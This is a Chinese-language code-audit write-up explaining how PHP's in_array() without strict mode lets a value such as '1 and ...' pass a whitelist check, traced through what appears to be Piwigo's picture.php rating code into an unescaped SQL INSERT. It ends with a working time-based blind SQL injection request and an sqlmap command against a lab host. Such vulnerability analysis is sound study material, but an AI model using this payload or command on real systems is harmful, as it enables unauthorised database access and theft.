in_array函数
函数使用
in_array :(PHP 4, PHP 5, PHP 7)
功能 :检查数组中是否存在某个值
定义 : bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] )
设计缺陷
在 $haystack 中搜索 $needle ,如果第三个参数 $strict 的值为 TRUE ,则 in_array() 函数会进行强检查,检查 $needle 的类型是否和 $haystack 中的相同。如果找到 $haystack ,则返回 TRUE,否则返回 FALSE。
in_array()函数检测上传文件时候,可未将第三个参数设置为true,从而导致攻击者构造文件名绕过服务端的检测。例如上传7shell.php在in_array()
函数强制转换后变为7.php
代码审计
漏洞代码在picture.php
中,
if (isset($_GET['action']))
{
switch ($_GET['action'])
{
case 'add_to_favorites' :
...
case 'rate' :
{
include_once(PHPWG_ROOT_PATH.'include/functions_rate.inc.php');
rate_picture($page['image_id'], $_POST['rate']);
redirect($url_self);
}
获取action参数如果为rate的,则包含include/functions_rate.inc.php
文件并且调用其中的rate_picture,并且传递页面的id值与post数据接受过来的rate。
rate_picture函数代码
function rate_picture($image_id, $rate)
{
global $conf, $user;
if (!isset($rate)
or !$conf['rate']
or !in_array($rate, $conf['rate_items']))
{
return false;
}
判断$rate不为或者$conf['rate']值存在,或in_array($rate, $conf['rate_items']))
,则$rate
值不在$conf['rate_items'])
中则返回false。
$conf['rate_items'] = array(0,1,2,3,4,5);
来到下面代码,下面代码中进行了sql语句的执行,并且了$rate
内容进去。而$rate内容在前面的代码判断中是需要为array(0,1,2,3,4,5);
数组内的int内容。
$query = '
INSERT
INTO '.RATE_TABLE.'
(user_id,anonymous_id,element_id,rate,date)
VALUES
('
.$user['id'].','
.'\''.$anonymous_id.'\','
.$image_id.','
.$rate
.',NOW())
;';
pwg_query($query);
而这时候就需要用到in_array的缺陷绕过。不然的话走到上面的判断in_array($rate, $conf['rate_items'])
中地方就直接返回false,不往下走了。
POST /picture.php?/1/category/1=&slideshow=&action=rate HTTP/1.1
Host: 10.0.2.15:2345
Cookie: pwg_id=kerp8jdk2pr0vbcqp1bet4ap34
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
rate=1 and if(ascii(substr((select database()),1,1))=112,1,sleep(3))
sqlmap -r 1.txt -p rate -v 3 --tech=T